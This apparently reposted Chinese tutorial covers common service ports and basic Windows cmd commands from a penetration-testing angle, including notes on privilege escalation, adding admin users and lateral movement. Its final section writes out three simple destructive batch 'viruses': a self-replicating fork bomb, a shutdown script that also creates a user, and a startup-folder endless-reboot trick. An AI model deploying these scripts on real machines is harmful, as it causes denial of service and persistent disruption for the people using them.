Windows常用命令-病毒

1.常见端口对应的服务

ftp 21

tenlnet 23

80 web

80-89可能是web

443 ssl心脏滴血漏洞以及一些web漏洞测试

445 smb

1433 mssql

1521 oracle

2082/2083 cpanel主机管理系统登陆(国外用的较多)

2222 da虚拟主机管理系统登陆(国外较多)

3128 squid代理默认端口-漫游内网

3306 mysql

3312/3311 kangle主机管理系统登陆

3389远程桌面

5432 postgreSQL-关系型数据库

5900 vnc (shodan 演示过了)

6379 redis(未授权)

7001,7002 weblogic 默认弱口令,反序列化

7778 kloxo 主机控制面板登录

8000-9090 一些常见的web端口,有些运维喜欢把管理后台开这些非80端口上面

8080 tomacat、wdcp主机管理系统,默认弱口令

8080,8089,9090 jboss

8083 vestacp 主机管理系统(国外较多)

8649 ganglia

8888 宝塔 主机管理默认端口

10000 virtuamin/webmin 服务器虚拟主机管理系统

11211 memcache 未授权访问

27017,27018 mongodb 未授权访问(shodan讲过)

28017 mongodb 统计系统页面

2.常用的cmd命令

重定向:是将命令的输入或输出从默认的标准输入(通常是键盘)或标准输出(通常是终端)转移到其他位置的一种操作。

1. echo

echo /?(查看echo的帮助提示)

echo 1(输出 1)

echo 1>1.txt (输出1 并重定向到1.txt文件)

echo 456789 >>1.txt(把内容追加到 1.txt文件)如果在用 它就会把文件覆盖掉中文意思就是输出的意思

2.dir(展示当前目录的文件)

3.d: c: 等和cd

(切换到d盘)

cd .(进入当前目录)

cd .. (回退到上一级目录)5C

cd /文件夹

cd desktop(切换到桌面)

4.tree(文件树状图)

tree /?(查看帮助文档)

tree /f (显示每个文件夹中的名称)

tree /a (使用ascll字符 ,而不使用扩展字符)

tree C:UserslAdministrator /f

tree C:UserslAdministrator /a

(在渗透测试中比较常用)

5.md创建目录和rd删除目录

md是mkdir 的缩写 (二者作用一致)

md kkk(在当前目录创建名为kkk的文件夹)

rd kkk(删除 kkk文件夹)

tab 补全功能 例如rd k (tab)就可以进行文件名补全

6.ipconfig(显示当前的网络状态 IP配置一般用这个命令查看网络本机IP地址,排查网络问题)

ipconfig /all(把所有本机的网络信息打印出来)

7.cls(清屏)

8.copy (复制拼接文件)

copy /?(查看帮助文档)

copy 1.txt..\1.txt(把文件1.txt复制到上一级目录)

先利用刚刚学的 cd..回退到上一级目录 再利用dir命令查看文件

copy 1.txt desktop\2.txt

(把admin文件夹中的1.txt复制到桌面并重命名为2.txt)

再说一个copy命令的使用方法 先echo 123 >1.txt 再echo456>2.txt 然后利用copy 命令 copy 1.txt+2.txt >3.txt(把1.txt的内容和2.txt的内容拼接起来 并重定向到3.txt并改名为3.txt)

9.move (文件移动)

move .. \1.txt 4.txt(把上一级目录中的1.txt移动到本级move目录并且重命名为4. txt)

(有人说 哎 刚刚copy也有这个操作 为啥不用copy,因为copy是复制原文件还存在,move是移动,移动了以后目录就不存在我们所移动的文件了)

10.ren(重命名)

ren 4.txt 5.txt(把4.txt重命名为5.txt)

11.del(删除)

del 1.txt 2.txt 3.txt(删除1.2.3.txt文件)

这个命令所删除的文件时永久删除的不会进入回收站

12.ping(一般用于探测主机ip是否存活)

ping \?(查看命令帮助文档)

ping  -t [服务器] (一直ping)

13.type (显示文本文件的内容)

首先用echo hello world >> 1.txt

type 1.txt(查看文件内容)

14.reg(注册表)

reg \?(查看帮助文档)

reg query [路径] (查看指定注册表项)

例如:

reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

reg add [路径] /v [值名称] /t [类型] /d [数据] /f (添加新的注册表项)

例如:

reg add HKEY_CURRENT_USER\Software\MyApp /v MyValue /t REG_SZ /d "Hello World" /f

reg edit [路径] /v [值名称] /d [新数据] /f (修改已有的注册表项)

例如:

reg add HKEY_CURRENT_USER\Software\MyApp /v MyValue /t REG_SZ /d "New Value" /f

reg delete [路径] /v [值名称] /f (删除指定的注册表项)

reg export [路径] [导出文件名] (导出整个注册表项或指定项)

reg import [导入文件名] (从文件导入注册表项)

reg query [路径] /s  (列出指定路径下的所有子项和键值)

15.nslookup (探测域名信息)

nslook www.baidu.com

nslook -d www.baidu.com (查看历史解析记录)

16.find(查找)

find /? 查看帮助文档

先在1.txt里面输入各种字符串,find "a" 1.txt (在·1.txt种查找带a的字段 )

find /n“a”1.txt(查找a参数的字段并排序行号)

type与find结合使用 使用 type 1.txt| find “a'(查看1.txt的内容并输出带有a参数的字段)

type 1.txtfind  "a" /n

(查看1.txt的内容并输出带有a参数的字段并排序行号)

17.tasklist (任务列表 显示出当前的进程名称等信息)

18.taskkill 了(杀死进程)

taskkill \? (查看帮助文档)

常用一般是-pid和-f -t

演示一下首先 calc(计算器) 开启一个进程

先用tasklist 查看进程 teskkill /pid 2824 杀死进程可以看见计算器以被杀死

假如遇见杀不掉的进程加一个 /f 参数即可

19.ver, winver(显示版本)

20.start(启动 开始命令)

例如 start cmd(打开cmd)

start calc (开启计算器)

start ping www.baidu.com -t(启动ping 并执行-t参数)

21.systeminfo (查看整个系统的信息)

查看一些比较重要的信息 比如说补丁信息,后期我们提权对是针对一些不同的修补程序进行一个提权,例如它少打了哪些补丁我们就利用少打的补丁进行提权。(溢出系统提权)

22.logoff (注销)

先logoff\?(查看帮助文档)

ogoff(注销,后期提权成功的情况下要远程登陆3389桌面的话,有可能有的机器是链接状态 我们可以利用这个命令把对方的远程登陆注销掉)

当然了这个比较暴力 也有不用这个命令也可以挤掉对方

23.shutdown(关机)/s /f /t /a /r /g /l

shutdown \? (查看帮助文档)

shutdown /s(关机)

shutdown /f(强制关机)

shutdown /t(设置时间,常与其他参数复用)

shutdown /a(计划取消)

shutdown /r(重启)

shutdown /g(重启并重新启动所有已经注册的应用程序)

shutdown /l(注销当前用户)

shutdown /i(显示关机对话框,可以通过图形界面选择关机或重启)

shutdown /r /t 0(/t设置时间 设置为0立即执行,此意为立即重启)

24.telnet (协议工具)

控制面板 -程序-打开或关闭Windows功能-telnet 客户端勾选

telnet(之前在shodan中 思科的设备就是基于这个)

25.arp  (自己ip和物理机的映射关系表表)

arp \?  (查看帮助文档)

arp -a(假设你以后拿到了一台内网机器你通过这条命令arp -a可以查看当前内网有哪些主机以助于横向移动,用于发现同一网络有哪些主机)

26.at (定时任务)

例如我要定时关机

at [时间] shutdown -s -t 0

ps:

at 23:30 shutdown -s -t 0

27.net(服务)

net stop telent (关闭telent)

net start telnet    (打开telnet)

net user  (看当前用户)

net user admin 123 /add (添加用户名admin 密码123的用户)

net user admin    (查看admin用户权限)

net user administrator(查看管理员用户权限)

怎么把admin变成管理员权限

net localgroup administrator admin /add(提权)

net user admin(查看admin用户权限)

net user admin /delete  (删除admin用户)

3.简单病毒

1.资源耗尽病毒

命令:

echo start cmd >1.txt

echo %0 >> 1.txt

ren 1.txt 1. bat

分析:第一句echo "start cmd" 字符串重定向到1.txt,就是把"start cmd" 内容输入到1.txt

第二句是吧%0追加到1.txt。 %0是特殊变量,表示当前执行的脚本名称或批处理文件

第三句是吧1.txt重命名为1.bat

运行结果:

2.锁机病毒

命令:

echo net user hjy 890890 > c:\windows\temp\1.bat

echo shutdown /s /t 0 >> c:\windows\temp\1.bat

分析:第一句是把"net user hjy 123123" 内容重定向到c盘/Windows/temp/1.bat(没有会新建)

   第二句是把"shutdown /s /t 0"追加到1.bat,并不会覆盖1.bat原先内容,会追加到文件的末尾处。

此代码本意是将用户名为hjy 密码为890890 然后执行关机。

执行结果:

3.无限重启病毒

命令:

echo shutdown /s /t 0 > c:\windows\temp\1.bat

copy c:\windows\temp\1.bat "%USERPROFILE%\Appdata\roaming\Microsoft\windows\start menu\programs\startup\"

分析:第一句是输出shutdown /s /t 0到1.bat里面。

第二句是复制1.bat到启动项的目录下,实现无限重启

执行结果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/3842.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

DDD中的一些基础概念 观点摘录

系统复杂度来源于哪?也就是DDD存在意义 软件系统的复杂性主要体现在三个方面。 隐晦:一是抽象层面的隐晦,抽象系统时,每个人都有自己特定的视角,你需要站在对方的角度才能明白他为什么这么做;其次是实现层…

统信UOS开发环境支持shell

内置了Bash等流行的Shell环境,用户可编写自动化脚本,极大地提高了系统管理和应用开发效率。 文章目录 一、环境部署1. shell开发环境安装2. shell开发环境配置二、代码示例shell开发案例三、常见问题1. 文件处理2. 错误处理3. 跨平台兼容性一、环境部署 1. shell开发环境安装…

使用compare做简单的点云滤波,并另存为文件

一、打开compare软件后,打开一个pcd文件 二、点击显示的pcd文件对象,出现如图黄色框框 三、点击上边的菜单栏的这个标志 四、出现如下图,此时调整红绿蓝就可以简单的做一下背景的滤波操作 五、我调整蓝色按钮后将背景点云去除,点…

布谷语音源码服务器搭建环境及配置流程

布谷语音源码部署环境安装要求(只有在相同的环境下才更容易避免一些不必要的麻烦):●安装Center OS 7.9,我们自己的服务器使用的是7.9建议相同系统,非强制●安装宝塔环境(强烈推荐使用)●安装软…

奥数与C++小学四年级(第二十题 猜猜看)

参考程序代码&#xff1a; #include <iostream> using namespace std;int main() {// 集合 {1, 2, 3, 4, 5, 6, 7, 8}int set[] {1, 2, 3, 4, 5, 6, 7, 8};// 枚举所有可能的 5 个数for (int i 0; i < 8; i) {for (int j i 1; j < 8; j) {for (int k j 1; k…

关于游戏加加不可以在cs2中显示的解决方案

输入的代码如下 -allow_third_party_software 1.打开steam 右键cs2&#xff0c;打开属性。 然后再这里填上这个代码就可以了

QGIS:HCMGIS插件

插件GitHub地址&#xff1a;https://github.com/thangqd/HCMGIS。 以下对HCMGIS插件进行简单介绍&#xff0c;并演示如何进行地图数据下载。 插件简介 HCMGIS - Basemaps, Download OpenData, Batch Converter, VN-2000 Projections, and Field Calculation Utilities for QGI…

康姿百德典雅床垫功效价格双佳,上班族睡眠升级的秘密武器

卓越支撑&#xff0c;透气之选 —— 康姿百德集团公司典雅床垫引领睡眠新风尚 选择一款优质的床垫对于确保良好的睡眠至关重要&#xff0c;尤其是对于每日辛勤工作的上班族而言。一天结束后&#xff0c;躺在舒适的床垫上&#xff0c;享受深度睡眠的美好体验&#xff0c;是最放…

103 - Lecture 3

SQL - Table and Data Part 2 一、Table Constraints Table constraints can be defined when creating tables. But you can also add constraints to an existing table. 1. Syntax of Constraints • General Syntax: CONSTRAINT name TYPE details; • 约束名称是为了以后…

前端 算法 双指针

文章目录 三数之和移动零盛最多水的容器接雨水 三数之和 leetcode 三数之和 题目链接 给你一个整数数组 nums &#xff0c;判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k &#xff0c;同时还满足 nums[i] nums[j] nums[k] 0 。请你返回所有…

nuPlan最新SOTA,香港科技大学发布基于学习决策范围内的规划PlanScope

nuPlan最新SOTA&#xff0c;香港科技大学发布基于学习决策范围内的规划PlanScope Abstract 在自动驾驶的背景下&#xff0c;基于学习的方法在规划模块的开发中表现出了很大的潜力。在规划模块的训练过程中&#xff0c;直接最小化专家驾驶日志与规划输出之间的差异是一种广泛采…

MATLAB实现人工免疫网络算法(Artificial Immune Network Algorithm, AINA)

1. 免疫网络算法简介 生物免疫系统是自然界中最复杂、最有效的自适应系统之一&#xff0c;它能够识别并清除入侵的病原体&#xff0c;同时保持对自身细胞的忍耐。免疫网络算法是一种借鉴生物免疫系统原理和机制的计算模型 2.算法流程 3.MATLAB代码 完整代码见: https://down…

MySQL初学之旅(1)配置与基础操作

目录 1.前言 2.正文 2.1数据库的发展历程 2.2数据库的基础操作 2.2.1启动服务 2.2.2创建与删除数据库 2.2.3数据类型 2.2.4创建表与删除表 2.3MySQL Workbench基础使用简介 3.小结 1.前言 哈喽大家好吖&#xff0c;今天博主正式开始为大家分享数据库的学习&#xff…

【优选算法】——滑动窗口(下篇)!

目录 1、水果成篮 2、找到字符串中所有字母异位词 3、串联所有单词的子串 4、最小覆盖子串 1、水果成篮 你正在探访一家农场&#xff0c;农场从左到右种植了一排果树。这些树用一个整数数组 fruits 表示&#xff0c;其中 fruits[i] 是第 i 棵树上的水果 种类 。 你想要尽可能…

【Python】heapq模块(操作最小堆,主要用途优先队列)

Python中heapq模块被称为堆队列算法&#xff0c;也成为优先队列算法。堆的主要用途是优先队列和堆排序。 堆&#xff08;二叉树的应用&#xff09;&#xff1a;最小堆&#xff0c;最大堆。 最小堆&#xff1a;父节点小于等于所有子节点&#xff0c;左右子节点无大小要求&…

MFC图形函数学习06——画椭圆弧线函数

绘制椭圆弧线函数是MFC基本绘图函数&#xff0c;这个函数需要的参数比较多&#xff0c;共四对坐标点。前两对坐标点确定椭圆的位置与大小&#xff0c;后两对坐标确定椭圆弧线的起点与终点。 一、绘制椭圆弧线函数 原型&#xff1a;BOOL Arc(int x1,int y1,int x2,int y2…

Nuxt 项目安装时报错 fetch failed (详细)

报错: ERROR Error: Failed to download template from registry: Failed to download https://raw.githubusercontent.com/nuxt/starter/templates/templates/v3.json: TypeError: fetch failed. 报错原因: 对 raw.githubusercontent.com 进行了 DNS 污染,这会导致你的请…

autox.js下载并保存项目到设备使用

最近刷快手极速版薅羊毛&#xff0c;手动刷有点累。因此找到这个。 PS&#xff1a;更多内容请见官方文档&#xff1a;首页 (autoxjs.com) 1.下载工程化环境&#xff1a;https://github.com/kkevsekk1/AutoX/archive/refs/heads/dev-test.zip 手机软件下载软件&#xff1a;Relea…

ssm+vue680基于SSM的旅游论坛设计与实现

博主介绍&#xff1a;专注于Java&#xff08;springboot ssm 等开发框架&#xff09; vue .net php phython node.js uniapp 微信小程序 等诸多技术领域和毕业项目实战、企业信息化系统建设&#xff0c;从业十五余年开发设计教学工作 ☆☆☆ 精彩专栏推荐订阅☆☆☆☆☆不…

盘点2024年制造业数字化转型的6大发展趋势

​目前制造业的行业数字化发展存在以下几个趋势&#xff1a; 1、从“增量时代”进入“存量时代”&#xff0c;数字化转型成为行业共识 过去几十年&#xff0c;我国装备制造行业从无到有&#xff0c;从小到大&#xff0c;从指数增长的增量时代&#xff0c;进入优化升级的存量时…